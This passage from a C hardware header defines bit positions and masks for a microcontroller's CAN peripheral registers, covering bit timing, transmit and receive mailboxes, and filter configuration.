Rate Prescaler */ #define CAN_BTR_TS1_Pos (16U) #define CAN_BTR_TS1_Msk (0xFU << CAN_BTR_TS1_Pos) /*!< 0x000F0000 */ #define CAN_BTR_TS1 CAN_BTR_TS1_Msk /*!<Time Segment 1 */ #define CAN_BTR_TS1_0 (0x1U << CAN_BTR_TS1_Pos) /*!< 0x00010000 */ #define CAN_BTR_TS1_1 (0x2U << CAN_BTR_TS1_Pos) /*!< 0x00020000 */ #define CAN_BTR_TS1_2 (0x4U << CAN_BTR_TS1_Pos) /*!< 0x00040000 */ #define CAN_BTR_TS1_3 (0x8U << CAN_BTR_TS1_Pos) /*!< 0x00080000 */ #define CAN_BTR_TS2_Pos (20U) #define CAN_BTR_TS2_Msk (0x7U << CAN_BTR_TS2_Pos) /*!< 0x00700000 */ #define CAN_BTR_TS2 CAN_BTR_TS2_Msk /*!<Time Segment 2 */ #define CAN_BTR_TS2_0 (0x1U << CAN_BTR_TS2_Pos) /*!< 0x00100000 */ #define CAN_BTR_TS2_1 (0x2U << CAN_BTR_TS2_Pos) /*!< 0x00200000 */ #define CAN_BTR_TS2_2 (0x4U << CAN_BTR_TS2_Pos) /*!< 0x00400000 */ #define CAN_BTR_SJW_Pos (24U) #define CAN_BTR_SJW_Msk (0x3U << CAN_BTR_SJW_Pos) /*!< 0x03000000 */ #define CAN_BTR_SJW CAN_BTR_SJW_Msk /*!<Resynchronization Jump Width */ #define CAN_BTR_SJW_0 (0x1U << CAN_BTR_SJW_Pos) /*!< 0x01000000 */ #define CAN_BTR_SJW_1 (0x2U << CAN_BTR_SJW_Pos) /*!< 0x02000000 */ #define CAN_BTR_LBKM_Pos (30U) #define CAN_BTR_LBKM_Msk (0x1U << CAN_BTR_LBKM_Pos) /*!< 0x40000000 */ #define CAN_BTR_LBKM CAN_BTR_LBKM_Msk /*!<Loop Back Mode (Debug) */ #define CAN_BTR_SILM_Pos (31U) #define CAN_BTR_SILM_Msk (0x1U << CAN_BTR_SILM_Pos) /*!< 0x80000000 */ #define CAN_BTR_SILM CAN_BTR_SILM_Msk /*!<Silent Mode */ /*!<Mailbox registers */ /****************** Bit definition for CAN_TI0R register ********************/ #define CAN_TI0R_TXRQ_Pos (0U) #define CAN_TI0R_TXRQ_Msk (0x1U << CAN_TI0R_TXRQ_Pos) /*!< 0x00000001 */ #define CAN_TI0R_TXRQ CAN_TI0R_TXRQ_Msk /*!<Transmit Mailbox Request */ #define CAN_TI0R_RTR_Pos (1U) #define CAN_TI0R_RTR_Msk (0x1U << CAN_TI0R_RTR_Pos) /*!< 0x00000002 */ #define CAN_TI0R_RTR CAN_TI0R_RTR_Msk /*!<Remote Transmission Request */ #define CAN_TI0R_IDE_Pos (2U) #define CAN_TI0R_IDE_Msk (0x1U << CAN_TI0R_IDE_Pos) /*!< 0x00000004 */ #define CAN_TI0R_IDE CAN_TI0R_IDE_Msk /*!<Identifier Extension */ #define CAN_TI0R_EXID_Pos (3U) #define CAN_TI0R_EXID_Msk (0x3FFFFU << CAN_TI0R_EXID_Pos) /*!< 0x001FFFF8 */ #define CAN_TI0R_EXID CAN_TI0R_EXID_Msk /*!<Extended Identifier */ #define CAN_TI0R_STID_Pos (21U) #define CAN_TI0R_STID_Msk (0x7FFU << CAN_TI0R_STID_Pos) /*!< 0xFFE00000 */ #define CAN_TI0R_STID CAN_TI0R_STID_Msk /*!<Standard Identifier or Extended Identifier */ /****************** Bit definition for CAN_TDT0R register *******************/ #define CAN_TDT0R_DLC_Pos (0U) #define CAN_TDT0R_DLC_Msk (0xFU << CAN_TDT0R_DLC_Pos) /*!< 0x0000000F */ #define CAN_TDT0R_DLC CAN_TDT0R_DLC_Msk /*!<Data Length Code */ #define CAN_TDT0R_TGT_Pos (8U) #define CAN_TDT0R_TGT_Msk (0x1U << CAN_TDT0R_TGT_Pos) /*!< 0x00000100 */ #define CAN_TDT0R_TGT CAN_TDT0R_TGT_Msk /*!<Transmit Global Time */ #define CAN_TDT0R_TIME_Pos (16U) #define CAN_TDT0R_TIME_Msk (0xFFFFU << CAN_TDT0R_TIME_Pos) /*!< 0xFFFF0000 */ #define CAN_TDT0R_TIME CAN_TDT0R_TIME_Msk /*!<Message Time Stamp */ /****************** Bit definition for CAN_TDL0R register *******************/ #define CAN_TDL0R_DATA0_Pos (0U) #define CAN_TDL0R_DATA0_Msk (0xFFU << CAN_TDL0R_DATA0_Pos) /*!< 0x000000FF */ #define CAN_TDL0R_DATA0 CAN_TDL0R_DATA0_Msk /*!<Data byte 0 */ #define CAN_TDL0R_DATA1_Pos (8U) #define CAN_TDL0R_DATA1_Msk (0xFFU << CAN_TDL0R_DATA1_Pos) /*!< 0x0000FF00 */ #define CAN_TDL0R_DATA1 CAN_TDL0R_DATA1_Msk /*!<Data byte 1 */ #define CAN_TDL0R_DATA2_Pos (16U) #define CAN_TDL0R_DATA2_Msk (0xFFU << CAN_TDL0R_DATA2_Pos) /*!< 0x00FF0000 */ #define CAN_TDL0R_DATA2 CAN_TDL0R_DATA2_Msk /*!<Data byte 2 */ #define CAN_TDL0R_DATA3_Pos (24U) #define CAN_TDL0R_DATA3_Msk (0xFFU << CAN_TDL0R_DATA3_Pos) /*!< 0xFF000000 */ #define CAN_TDL0R_DATA3 CAN_TDL0R_DATA3_Msk /*!<Data byte 3 */ /****************** Bit definition for CAN_TDH0R register *******************/ #define CAN_TDH0R_DATA4_Pos (0U) #define CAN_TDH0R_DATA4_Msk (0xFFU << CAN_TDH0R_DATA4_Pos) /*!< 0x000000FF */ #define CAN_TDH0R_DATA4 CAN_TDH0R_DATA4_Msk /*!<Data byte 4 */ #define CAN_TDH0R_DATA5_Pos (8U) #define CAN_TDH0R_DATA5_Msk (0xFFU << CAN_TDH0R_DATA5_Pos) /*!< 0x0000FF00 */ #define CAN_TDH0R_DATA5 CAN_TDH0R_DATA5_Msk /*!<Data byte 5 */ #define CAN_TDH0R_DATA6_Pos (16U) #define CAN_TDH0R_DATA6_Msk (0xFFU << CAN_TDH0R_DATA6_Pos) /*!< 0x00FF0000 */ #define CAN_TDH0R_DATA6 CAN_TDH0R_DATA6_Msk /*!<Data byte 6 */ #define CAN_TDH0R_DATA7_Pos (24U) #define CAN_TDH0R_DATA7_Msk (0xFFU << CAN_TDH0R_DATA7_Pos) /*!< 0xFF000000 */ #define CAN_TDH0R_DATA7 CAN_TDH0R_DATA7_Msk /*!<Data byte 7 */ /******************* Bit definition for CAN_TI1R register *******************/ #define CAN_TI1R_TXRQ_Pos (0U) #define CAN_TI1R_TXRQ_Msk (0x1U << CAN_TI1R_TXRQ_Pos) /*!< 0x00000001 */ #define CAN_TI1R_TXRQ CAN_TI1R_TXRQ_Msk /*!<Transmit Mailbox Request */ #define CAN_TI1R_RTR_Pos (1U) #define CAN_TI1R_RTR_Msk (0x1U << CAN_TI1R_RTR_Pos) /*!< 0x00000002 */ #define CAN_TI1R_RTR CAN_TI1R_RTR_Msk /*!<Remote Transmission Request */ #define CAN_TI1R_IDE_Pos (2U) #define CAN_TI1R_IDE_Msk (0x1U << CAN_TI1R_IDE_Pos) /*!< 0x00000004 */ #define CAN_TI1R_IDE CAN_TI1R_IDE_Msk /*!<Identifier Extension */ #define CAN_TI1R_EXID_Pos (3U) #define CAN_TI1R_EXID_Msk (0x3FFFFU << CAN_TI1R_EXID_Pos) /*!< 0x001FFFF8 */ #define CAN_TI1R_EXID CAN_TI1R_EXID_Msk /*!<Extended Identifier */ #define CAN_TI1R_STID_Pos (21U) #define CAN_TI1R_STID_Msk (0x7FFU << CAN_TI1R_STID_Pos) /*!< 0xFFE00000 */ #define CAN_TI1R_STID CAN_TI1R_STID_Msk /*!<Standard Identifier or Extended Identifier */ /******************* Bit definition for CAN_TDT1R register ******************/ #define CAN_TDT1R_DLC_Pos (0U) #define CAN_TDT1R_DLC_Msk (0xFU << CAN_TDT1R_DLC_Pos) /*!< 0x0000000F */ #define CAN_TDT1R_DLC CAN_TDT1R_DLC_Msk /*!<Data Length Code */ #define CAN_TDT1R_TGT_Pos (8U) #define CAN_TDT1R_TGT_Msk (0x1U << CAN_TDT1R_TGT_Pos) /*!< 0x00000100 */ #define CAN_TDT1R_TGT CAN_TDT1R_TGT_Msk /*!<Transmit Global Time */ #define CAN_TDT1R_TIME_Pos (16U) #define CAN_TDT1R_TIME_Msk (0xFFFFU << CAN_TDT1R_TIME_Pos) /*!< 0xFFFF0000 */ #define CAN_TDT1R_TIME CAN_TDT1R_TIME_Msk /*!<Message Time Stamp */ /******************* Bit definition for CAN_TDL1R register ******************/ #define CAN_TDL1R_DATA0_Pos (0U) #define CAN_TDL1R_DATA0_Msk (0xFFU << CAN_TDL1R_DATA0_Pos) /*!< 0x000000FF */ #define CAN_TDL1R_DATA0 CAN_TDL1R_DATA0_Msk /*!<Data byte 0 */ #define CAN_TDL1R_DATA1_Pos (8U) #define CAN_TDL1R_DATA1_Msk (0xFFU << CAN_TDL1R_DATA1_Pos) /*!< 0x0000FF00 */ #define CAN_TDL1R_DATA1 CAN_TDL1R_DATA1_Msk /*!<Data byte 1 */ #define CAN_TDL1R_DATA2_Pos (16U) #define CAN_TDL1R_DATA2_Msk (0xFFU << CAN_TDL1R_DATA2_Pos) /*!< 0x00FF0000 */ #define CAN_TDL1R_DATA2 CAN_TDL1R_DATA2_Msk /*!<Data byte 2 */ #define CAN_TDL1R_DATA3_Pos (24U) #define CAN_TDL1R_DATA3_Msk (0xFFU << CAN_TDL1R_DATA3_Pos) /*!< 0xFF000000 */ #define CAN_TDL1R_DATA3 CAN_TDL1R_DATA3_Msk /*!<Data byte 3 */ /******************* Bit definition for CAN_TDH1R register ******************/ #define CAN_TDH1R_DATA4_Pos (0U) #define CAN_TDH1R_DATA4_Msk (0xFFU << CAN_TDH1R_DATA4_Pos) /*!< 0x000000FF */ #define CAN_TDH1R_DATA4 CAN_TDH1R_DATA4_Msk /*!<Data byte 4 */ #define CAN_TDH1R_DATA5_Pos (8U) #define CAN_TDH1R_DATA5_Msk (0xFFU << CAN_TDH1R_DATA5_Pos) /*!< 0x0000FF00 */ #define CAN_TDH1R_DATA5 CAN_TDH1R_DATA5_Msk /*!<Data byte 5 */ #define CAN_TDH1R_DATA6_Pos (16U) #define CAN_TDH1R_DATA6_Msk (0xFFU << CAN_TDH1R_DATA6_Pos) /*!< 0x00FF0000 */ #define CAN_TDH1R_DATA6 CAN_TDH1R_DATA6_Msk /*!<Data byte 6 */ #define CAN_TDH1R_DATA7_Pos (24U) #define CAN_TDH1R_DATA7_Msk (0xFFU << CAN_TDH1R_DATA7_Pos) /*!< 0xFF000000 */ #define CAN_TDH1R_DATA7 CAN_TDH1R_DATA7_Msk /*!<Data byte 7 */ /******************* Bit definition for CAN_TI2R register *******************/ #define CAN_TI2R_TXRQ_Pos (0U) #define CAN_TI2R_TXRQ_Msk (0x1U << CAN_TI2R_TXRQ_Pos) /*!< 0x00000001 */ #define CAN_TI2R_TXRQ CAN_TI2R_TXRQ_Msk /*!<Transmit Mailbox Request */ #define CAN_TI2R_RTR_Pos (1U) #define CAN_TI2R_RTR_Msk (0x1U << CAN_TI2R_RTR_Pos) /*!< 0x00000002 */ #define CAN_TI2R_RTR CAN_TI2R_RTR_Msk /*!<Remote Transmission Request */ #define CAN_TI2R_IDE_Pos (2U) #define CAN_TI2R_IDE_Msk (0x1U << CAN_TI2R_IDE_Pos) /*!< 0x00000004 */ #define CAN_TI2R_IDE CAN_TI2R_IDE_Msk /*!<Identifier Extension */ #define CAN_TI2R_EXID_Pos (3U) #define CAN_TI2R_EXID_Msk (0x3FFFFU << CAN_TI2R_EXID_Pos) /*!< 0x001FFFF8 */ #define CAN_TI2R_EXID CAN_TI2R_EXID_Msk /*!<Extended identifier */ #define CAN_TI2R_STID_Pos (21U) #define CAN_TI2R_STID_Msk (0x7FFU << CAN_TI2R_STID_Pos) /*!< 0xFFE00000 */ #define CAN_TI2R_STID CAN_TI2R_STID_Msk /*!<Standard Identifier or Extended Identifier */ /******************* Bit definition for CAN_TDT2R register ******************/ #define CAN_TDT2R_DLC_Pos (0U) #define CAN_TDT2R_DLC_Msk (0xFU << CAN_TDT2R_DLC_Pos) /*!< 0x0000000F */ #define CAN_TDT2R_DLC CAN_TDT2R_DLC_Msk /*!<Data Length Code */ #define CAN_TDT2R_TGT_Pos (8U) #define CAN_TDT2R_TGT_Msk (0x1U << CAN_TDT2R_TGT_Pos) /*!< 0x00000100 */ #define CAN_TDT2R_TGT CAN_TDT2R_TGT_Msk /*!<Transmit Global Time */ #define CAN_TDT2R_TIME_Pos (16U) #define CAN_TDT2R_TIME_Msk (0xFFFFU << CAN_TDT2R_TIME_Pos) /*!< 0xFFFF0000 */ #define CAN_TDT2R_TIME CAN_TDT2R_TIME_Msk /*!<Message Time Stamp */ /******************* Bit definition for CAN_TDL2R register ******************/ #define CAN_TDL2R_DATA0_Pos (0U) #define CAN_TDL2R_DATA0_Msk (0xFFU << CAN_TDL2R_DATA0_Pos) /*!< 0x000000FF */ #define CAN_TDL2R_DATA0 CAN_TDL2R_DATA0_Msk /*!<Data byte 0 */ #define CAN_TDL2R_DATA1_Pos (8U) #define CAN_TDL2R_DATA1_Msk (0xFFU << CAN_TDL2R_DATA1_Pos) /*!< 0x0000FF00 */ #define CAN_TDL2R_DATA1 CAN_TDL2R_DATA1_Msk /*!<Data byte 1 */ #define CAN_TDL2R_DATA2_Pos (16U) #define CAN_TDL2R_DATA2_Msk (0xFFU << CAN_TDL2R_DATA2_Pos) /*!< 0x00FF0000 */ #define CAN_TDL2R_DATA2 CAN_TDL2R_DATA2_Msk /*!<Data byte 2 */ #define CAN_TDL2R_DATA3_Pos (24U) #define CAN_TDL2R_DATA3_Msk (0xFFU << CAN_TDL2R_DATA3_Pos) /*!< 0xFF000000 */ #define CAN_TDL2R_DATA3 CAN_TDL2R_DATA3_Msk /*!<Data byte 3 */ /******************* Bit definition for CAN_TDH2R register ******************/ #define CAN_TDH2R_DATA4_Pos (0U) #define CAN_TDH2R_DATA4_Msk (0xFFU << CAN_TDH2R_DATA4_Pos) /*!< 0x000000FF */ #define CAN_TDH2R_DATA4 CAN_TDH2R_DATA4_Msk /*!<Data byte 4 */ #define CAN_TDH2R_DATA5_Pos (8U) #define CAN_TDH2R_DATA5_Msk (0xFFU << CAN_TDH2R_DATA5_Pos) /*!< 0x0000FF00 */ #define CAN_TDH2R_DATA5 CAN_TDH2R_DATA5_Msk /*!<Data byte 5 */ #define CAN_TDH2R_DATA6_Pos (16U) #define CAN_TDH2R_DATA6_Msk (0xFFU << CAN_TDH2R_DATA6_Pos) /*!< 0x00FF0000 */ #define CAN_TDH2R_DATA6 CAN_TDH2R_DATA6_Msk /*!<Data byte 6 */ #define CAN_TDH2R_DATA7_Pos (24U) #define CAN_TDH2R_DATA7_Msk (0xFFU << CAN_TDH2R_DATA7_Pos) /*!< 0xFF000000 */ #define CAN_TDH2R_DATA7 CAN_TDH2R_DATA7_Msk /*!<Data byte 7 */ /******************* Bit definition for CAN_RI0R register *******************/ #define CAN_RI0R_RTR_Pos (1U) #define CAN_RI0R_RTR_Msk (0x1U << CAN_RI0R_RTR_Pos) /*!< 0x00000002 */ #define CAN_RI0R_RTR CAN_RI0R_RTR_Msk /*!<Remote Transmission Request */ #define CAN_RI0R_IDE_Pos (2U) #define CAN_RI0R_IDE_Msk (0x1U << CAN_RI0R_IDE_Pos) /*!< 0x00000004 */ #define CAN_RI0R_IDE CAN_RI0R_IDE_Msk /*!<Identifier Extension */ #define CAN_RI0R_EXID_Pos (3U) #define CAN_RI0R_EXID_Msk (0x3FFFFU << CAN_RI0R_EXID_Pos) /*!< 0x001FFFF8 */ #define CAN_RI0R_EXID CAN_RI0R_EXID_Msk /*!<Extended Identifier */ #define CAN_RI0R_STID_Pos (21U) #define CAN_RI0R_STID_Msk (0x7FFU << CAN_RI0R_STID_Pos) /*!< 0xFFE00000 */ #define CAN_RI0R_STID CAN_RI0R_STID_Msk /*!<Standard Identifier or Extended Identifier */ /******************* Bit definition for CAN_RDT0R register ******************/ #define CAN_RDT0R_DLC_Pos (0U) #define CAN_RDT0R_DLC_Msk (0xFU << CAN_RDT0R_DLC_Pos) /*!< 0x0000000F */ #define CAN_RDT0R_DLC CAN_RDT0R_DLC_Msk /*!<Data Length Code */ #define CAN_RDT0R_FMI_Pos (8U) #define CAN_RDT0R_FMI_Msk (0xFFU << CAN_RDT0R_FMI_Pos) /*!< 0x0000FF00 */ #define CAN_RDT0R_FMI CAN_RDT0R_FMI_Msk /*!<Filter Match Index */ #define CAN_RDT0R_TIME_Pos (16U) #define CAN_RDT0R_TIME_Msk (0xFFFFU << CAN_RDT0R_TIME_Pos) /*!< 0xFFFF0000 */ #define CAN_RDT0R_TIME CAN_RDT0R_TIME_Msk /*!<Message Time Stamp */ /******************* Bit definition for CAN_RDL0R register ******************/ #define CAN_RDL0R_DATA0_Pos (0U) #define CAN_RDL0R_DATA0_Msk (0xFFU << CAN_RDL0R_DATA0_Pos) /*!< 0x000000FF */ #define CAN_RDL0R_DATA0 CAN_RDL0R_DATA0_Msk /*!<Data byte 0 */ #define CAN_RDL0R_DATA1_Pos (8U) #define CAN_RDL0R_DATA1_Msk (0xFFU << CAN_RDL0R_DATA1_Pos) /*!< 0x0000FF00 */ #define CAN_RDL0R_DATA1 CAN_RDL0R_DATA1_Msk /*!<Data byte 1 */ #define CAN_RDL0R_DATA2_Pos (16U) #define CAN_RDL0R_DATA2_Msk (0xFFU << CAN_RDL0R_DATA2_Pos) /*!< 0x00FF0000 */ #define CAN_RDL0R_DATA2 CAN_RDL0R_DATA2_Msk /*!<Data byte 2 */ #define CAN_RDL0R_DATA3_Pos (24U) #define CAN_RDL0R_DATA3_Msk (0xFFU << CAN_RDL0R_DATA3_Pos) /*!< 0xFF000000 */ #define CAN_RDL0R_DATA3 CAN_RDL0R_DATA3_Msk /*!<Data byte 3 */ /******************* Bit definition for CAN_RDH0R register ******************/ #define CAN_RDH0R_DATA4_Pos (0U) #define CAN_RDH0R_DATA4_Msk (0xFFU << CAN_RDH0R_DATA4_Pos) /*!< 0x000000FF */ #define CAN_RDH0R_DATA4 CAN_RDH0R_DATA4_Msk /*!<Data byte 4 */ #define CAN_RDH0R_DATA5_Pos (8U) #define CAN_RDH0R_DATA5_Msk (0xFFU << CAN_RDH0R_DATA5_Pos) /*!< 0x0000FF00 */ #define CAN_RDH0R_DATA5 CAN_RDH0R_DATA5_Msk /*!<Data byte 5 */ #define CAN_RDH0R_DATA6_Pos (16U) #define CAN_RDH0R_DATA6_Msk (0xFFU << CAN_RDH0R_DATA6_Pos) /*!< 0x00FF0000 */ #define CAN_RDH0R_DATA6 CAN_RDH0R_DATA6_Msk /*!<Data byte 6 */ #define CAN_RDH0R_DATA7_Pos (24U) #define CAN_RDH0R_DATA7_Msk (0xFFU << CAN_RDH0R_DATA7_Pos) /*!< 0xFF000000 */ #define CAN_RDH0R_DATA7 CAN_RDH0R_DATA7_Msk /*!<Data byte 7 */ /******************* Bit definition for CAN_RI1R register *******************/ #define CAN_RI1R_RTR_Pos (1U) #define CAN_RI1R_RTR_Msk (0x1U << CAN_RI1R_RTR_Pos) /*!< 0x00000002 */ #define CAN_RI1R_RTR CAN_RI1R_RTR_Msk /*!<Remote Transmission Request */ #define CAN_RI1R_IDE_Pos (2U) #define CAN_RI1R_IDE_Msk (0x1U << CAN_RI1R_IDE_Pos) /*!< 0x00000004 */ #define CAN_RI1R_IDE CAN_RI1R_IDE_Msk /*!<Identifier Extension */ #define CAN_RI1R_EXID_Pos (3U) #define CAN_RI1R_EXID_Msk (0x3FFFFU << CAN_RI1R_EXID_Pos) /*!< 0x001FFFF8 */ #define CAN_RI1R_EXID CAN_RI1R_EXID_Msk /*!<Extended identifier */ #define CAN_RI1R_STID_Pos (21U) #define CAN_RI1R_STID_Msk (0x7FFU << CAN_RI1R_STID_Pos) /*!< 0xFFE00000 */ #define CAN_RI1R_STID CAN_RI1R_STID_Msk /*!<Standard Identifier or Extended Identifier */ /******************* Bit definition for CAN_RDT1R register ******************/ #define CAN_RDT1R_DLC_Pos (0U) #define CAN_RDT1R_DLC_Msk (0xFU << CAN_RDT1R_DLC_Pos) /*!< 0x0000000F */ #define CAN_RDT1R_DLC CAN_RDT1R_DLC_Msk /*!<Data Length Code */ #define CAN_RDT1R_FMI_Pos (8U) #define CAN_RDT1R_FMI_Msk (0xFFU << CAN_RDT1R_FMI_Pos) /*!< 0x0000FF00 */ #define CAN_RDT1R_FMI CAN_RDT1R_FMI_Msk /*!<Filter Match Index */ #define CAN_RDT1R_TIME_Pos (16U) #define CAN_RDT1R_TIME_Msk (0xFFFFU << CAN_RDT1R_TIME_Pos) /*!< 0xFFFF0000 */ #define CAN_RDT1R_TIME CAN_RDT1R_TIME_Msk /*!<Message Time Stamp */ /******************* Bit definition for CAN_RDL1R register ******************/ #define CAN_RDL1R_DATA0_Pos (0U) #define CAN_RDL1R_DATA0_Msk (0xFFU << CAN_RDL1R_DATA0_Pos) /*!< 0x000000FF */ #define CAN_RDL1R_DATA0 CAN_RDL1R_DATA0_Msk /*!<Data byte 0 */ #define CAN_RDL1R_DATA1_Pos (8U) #define CAN_RDL1R_DATA1_Msk (0xFFU << CAN_RDL1R_DATA1_Pos) /*!< 0x0000FF00 */ #define CAN_RDL1R_DATA1 CAN_RDL1R_DATA1_Msk /*!<Data byte 1 */ #define CAN_RDL1R_DATA2_Pos (16U) #define CAN_RDL1R_DATA2_Msk (0xFFU << CAN_RDL1R_DATA2_Pos) /*!< 0x00FF0000 */ #define CAN_RDL1R_DATA2 CAN_RDL1R_DATA2_Msk /*!<Data byte 2 */ #define CAN_RDL1R_DATA3_Pos (24U) #define CAN_RDL1R_DATA3_Msk (0xFFU << CAN_RDL1R_DATA3_Pos) /*!< 0xFF000000 */ #define CAN_RDL1R_DATA3 CAN_RDL1R_DATA3_Msk /*!<Data byte 3 */ /******************* Bit definition for CAN_RDH1R register ******************/ #define CAN_RDH1R_DATA4_Pos (0U) #define CAN_RDH1R_DATA4_Msk (0xFFU << CAN_RDH1R_DATA4_Pos) /*!< 0x000000FF */ #define CAN_RDH1R_DATA4 CAN_RDH1R_DATA4_Msk /*!<Data byte 4 */ #define CAN_RDH1R_DATA5_Pos (8U) #define CAN_RDH1R_DATA5_Msk (0xFFU << CAN_RDH1R_DATA5_Pos) /*!< 0x0000FF00 */ #define CAN_RDH1R_DATA5 CAN_RDH1R_DATA5_Msk /*!<Data byte 5 */ #define CAN_RDH1R_DATA6_Pos (16U) #define CAN_RDH1R_DATA6_Msk (0xFFU << CAN_RDH1R_DATA6_Pos) /*!< 0x00FF0000 */ #define CAN_RDH1R_DATA6 CAN_RDH1R_DATA6_Msk /*!<Data byte 6 */ #define CAN_RDH1R_DATA7_Pos (24U) #define CAN_RDH1R_DATA7_Msk (0xFFU << CAN_RDH1R_DATA7_Pos) /*!< 0xFF000000 */ #define CAN_RDH1R_DATA7 CAN_RDH1R_DATA7_Msk /*!<Data byte 7 */ /*!<CAN filter registers */ /******************* Bit definition for CAN_FMR register ********************/ #define CAN_FMR_FINIT_Pos (0U) #define CAN_FMR_FINIT_Msk (0x1U << CAN_FMR_FINIT_Pos) /*!< 0x00000001 */ #define CAN_FMR_FINIT CAN_FMR_FINIT_Msk /*!<Filter Init Mode */ /******************* Bit definition for CAN_FM1R register *******************/ #define CAN_FM1R_FBM_Pos (0U) #define CAN_FM1R_FBM_Msk (0x3FFFU << CAN_FM1R_FBM_Pos) /*!< 0x00003FFF */ #define CAN_FM1R_FBM CAN_FM1R_FBM_Msk /*!<Filter Mode */ #define CAN_FM1R_FBM0_Pos (0U) #define CAN_FM1R_FBM0_Msk (0x1U << CAN_FM1R_FBM0_Pos) /*!< 0x00000001 */ #define CAN_FM1R_FBM0 CAN_FM1R_FBM0_Msk /*!<Filter Init Mode bit 0 */ #define CAN_FM1R_FBM1_Pos (1U) #define CAN_FM1R_FBM1_Msk (0x1U << CAN_FM1R_FBM1_Pos) /*!< 0x00000002 */ #define CAN_FM1R_FBM1 CAN_FM1R_FBM1_Msk /*!<Filter Init Mode bit 1 */ #define CAN_FM1R_FBM2_Pos (2U) #define CAN_FM1R_FBM2_Msk (0x1U << CAN_FM1R_FBM2_Pos) /*!< 0x00000004 */ #define CAN_FM1R_FBM2 CAN_FM1R_FBM2_Msk /*!<Filter Init Mode bit 2 */ #define CAN_FM1R_FBM3_Pos (3U) #define CAN_FM1R_FBM3_Msk (0x1U << CAN_FM1R_FBM3_Pos) /*!< 0x00000008 */ #define CAN_FM1R_FBM3 CAN_FM1R_FBM3_Msk /*!<Filter Init Mode bit 3 */ #define CAN_FM1R_FBM4_Pos (4U) #define CAN_FM1R_FBM4_Msk (0x1U << CAN_FM1R_FBM4_Pos) /*!< 0x00000010 */ #define CAN_FM1R_FBM4 CAN_FM1R_FBM4_Msk /*!<Filter Init Mode bit 4 */ #define CAN_FM1R_FBM5_Pos (5U) #define CAN_FM1R_FBM5_Msk (0x1U << CAN_FM1R_FBM5_Pos) /*!< 0x00000020 */ #define CAN_FM1R_FBM5 CAN_FM1R_FBM5_Msk /*!<Filter Init Mode bit 5 */ #define CAN_FM1R_FBM6_Pos (6U) #define CAN_FM1R_FBM6_Msk (0x1U << CAN_FM1R_FBM6_Pos) /*!< 0x00000040 */ #define CAN_FM1R_FBM6 CAN_FM1R_FBM6_Msk /*!<Filter Init Mode bit 6 */ #define CAN_FM1R_FBM7_Pos (7U) #define CAN_FM1R_FBM7_Msk (0x1U << CAN_FM1R_FBM7_Pos) /*!< 0x00000080 */ #define CAN_FM1R_FBM7 CAN_FM1R_FBM7_Msk /*!<Filter Init Mode bit 7 */ #define CAN_FM1R_FBM8_Pos (8U) #define CAN_FM1R_FBM8_Msk (0x1U << CAN_FM1R_FBM8_Pos) /*!< 0x00000100 */ #define CAN_FM1R_FBM8 CAN_FM1R_FBM8_Msk /*!<Filter Init Mode bit 8 */ #define CAN_FM1R_FBM9_Pos (9U) #define CAN_FM1R_FBM9_Msk (0x1U << CAN_FM1R_FBM9_Pos) /*!< 0x00000200 */ #define CAN_FM1R_FBM9 CAN_FM1R_FBM9_Msk /*!<Filter Init Mode bit 9 */ #define CAN_FM1R_FBM10_Pos (10U) #define CAN_FM1R_FBM10_Msk (0x1U << CAN_FM1R_FBM10_Pos) /*!< 0x00000400 */ #define CAN_FM1R_FBM10 CAN_FM1R_FBM10_Msk /*!<Filter Init Mode bit 10 */ #define CAN_FM1R_FBM11_Pos (11U) #define CAN_FM1R_FBM11_Msk (0x1U << CAN_FM1R_FBM11_Pos) /*!< 0x00000800 */ #define CAN_FM1R_FBM11 CAN_FM1R_FBM11_Msk /*!<Filter Init Mode bit 11 */ #define CAN_FM1R_FBM12_Pos (12U) #define CAN_FM1R_FBM12_Msk (0x1U << CAN_FM1R_FBM12_Pos) /*!< 0x00001000 */ #define CAN_FM1R_FBM12 CAN_FM1R_FBM12_Msk /*!<Filter Init Mode bit 12 */ #define CAN_FM1R_FBM13_Pos (13U) #define CAN_FM1R_FBM13_Msk (0x1U << CAN_FM1R_FBM13_Pos) /*!< 0x00002000 */ #define CAN_FM1R_FBM13 CAN_FM1R_FBM13_Msk /*!<Filter Init Mode bit 13 */ /******************* Bit definition for CAN_FS1R register *******************/ #define CAN_FS1R_FSC_Pos (0U) #define CAN_FS1R_FSC_Msk (0x3FFFU << CAN_FS1R_FSC_Pos) /*!< 0x00003FFF */ #define CAN_FS1R_FSC CAN_FS1R_FSC_Msk /*!<Filter Scale Configuration */ #define CAN_FS1R_FSC0_Pos (0U) #define CAN_FS1R_FSC0_Msk (0x1U << CAN_FS1R_FSC0_Pos) /*!< 0x00000001 */ #define CAN_FS1R_FSC0 CAN_FS1R_FSC0_Msk /*!<Filter Scale Configuration bit 0 */ #define CAN_FS1R_FSC1_Pos (1U) #define CAN_FS1R_FSC1_Msk (0x1U << CAN_FS1R_FSC1_Pos) /*!< 0x00000002 */ #define CAN_FS1R_FSC1 CAN_FS1R_FSC1_Msk /*!<Filter Scale Configuration bit 1 */ #define CAN_FS1R_FSC2_Pos (2U) #define CAN_FS1R_FSC2_Msk (0x1U << CAN_FS1R_FSC2_Pos) /*!< 0x00000004 */ #define CAN_FS1R_FSC2 CAN_FS1R_FSC2_Msk /*!<Filter Scale Configuration bit 2 */ #define CAN_FS1R_FSC3_Pos (3U) #define CAN_FS1R_FSC3_Msk (0x1U << CAN_FS1R_FSC3_Pos) /*!< 0x00000008 */ #define CAN_FS1R_FSC3 CAN_FS1R_FSC3_Msk /*!<Filter Scale Configuration bit 3 */ #define CAN_FS1R_FSC4_Pos (4U) #define CAN_FS1R_FSC4_Msk (0x1U << CAN_FS1R_FSC4_Pos) /*!< 0x00000010 */ #define CAN_FS1R_FSC4 CAN_FS1R_FSC4_Msk /*!<Filter Scale Configuration bit 4 */ #define CAN_FS1R_FSC5_Pos (5U) #define CAN_FS1R_FSC5_Msk (0x1U << CAN_FS1R_FSC5_Pos) /*!< 0x00000020 */ #define CAN_FS1R_FSC5 CAN_FS1R_FSC5_Msk /*!<Filter Scale Configuration bit 5 */ #define CAN_FS1R_FSC6_Pos (6U) #define CAN_FS1R_FSC6_Msk (0x1U << CAN_FS1R_FSC6_Pos) /*!< 0x00000040 */ #define CAN_FS1R_FSC6 CAN_FS1R_FSC6_Msk /*!<Filter Scale Configuration bit 6 */ #define CAN_FS1R_FSC7_Pos (7U) #define CAN_FS1R_FSC7_Msk (0x1U << CAN_FS1R_FSC7_Pos) /*!< 0x00000080 */ #define CAN_FS1R_FSC7 CAN_FS1R_FSC7_Msk /*!<Filter Scale Configuration bit 7 */ #define CAN_FS1R_FSC8_Pos (8U) #define 